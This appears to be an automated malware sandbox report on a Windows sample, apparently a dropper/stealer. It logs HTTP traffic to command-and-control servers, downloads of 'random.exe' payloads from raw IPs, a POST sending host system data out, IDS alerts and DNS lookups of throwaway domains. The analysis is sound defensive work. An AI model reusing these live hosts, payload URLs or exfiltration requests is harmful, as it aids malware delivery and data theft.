40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 79 6a 77 74 61 68 64 00 40 19 00 00 c0 2e 00 00 38 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 62 78 68 6f 66 78 67 00 10 00 00 00 00 48 00 00 04 00 00 00 98 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 48 00 00 22 00 00 00 9c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 30 42 34 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22970B45882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016538001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/kosodium/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016539001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016540001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016541001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016542001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 500926Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 34 31 39 30 33 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 35 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016543001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=Qa0l0SOFWNnOCrRO1734419043 HTTP/1.1Host: home.fivetk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.131.68.180 104.131.68.180

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49822 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49844 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49865 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49867 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49873 -> 104.131.68.180:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49883 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49900 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49920 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49950 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49968 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49979 -> 104.121.10.34:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deafeninggeh.biz
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008FE0C0 recv,recv,recv,recv,

0_2_008FE0C0

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/kosodium/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=Qa0l0SOFWNnOCrRO1734419043 HTTP/1.1Host: home.fivetk5pn.topAccept: /

Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.ste equals www.youtube.com (Youtube)
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=d062f5a762356d918d474bfb; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35131Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 17 Dec 2024 07:03:33 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: powered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://w equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: diffuculttan.xyz
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz
Source: global traffic	DNS traffic detected: DNS query: deafeninggeh.biz
Source: global traffic	DNS traffic detected: DNS query: effecterectz.xyz
Source: global traffic	DNS traffic detected: DNS query: debonairnukk.xyz
Source: global traffic	DNS traffic detected: DNS query: wrathful-jammy.cyou
Source: global traffic	DNS traffic detected: DNS query: awake-weaves.cyou
Source: global traffic	DNS traffic detected: DNS query: sordid-snaked.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5pn.top
Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: zinc-sneark.biz
Source: global traffic	DNS traffic detected: DNS query: dwell-exclaim.biz
Source: global traffic	DNS traffic detected: DNS query: formy-spill.biz
Source: global traffic	DNS traffic detected: DNS query: covery-mover.biz
Source: global traffic	DNS traffic detected: DNS query: dare-curbys.biz
Source: global traffic	DNS traffic detected: DNS query: print-vexer.biz
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz

Source: c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/_0U9
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90243001
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe/
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe613220
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6M
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe8
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d7fM0
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep)0G9
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ons
Source: skotes.exe, 00000006.00000002.3298021674.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
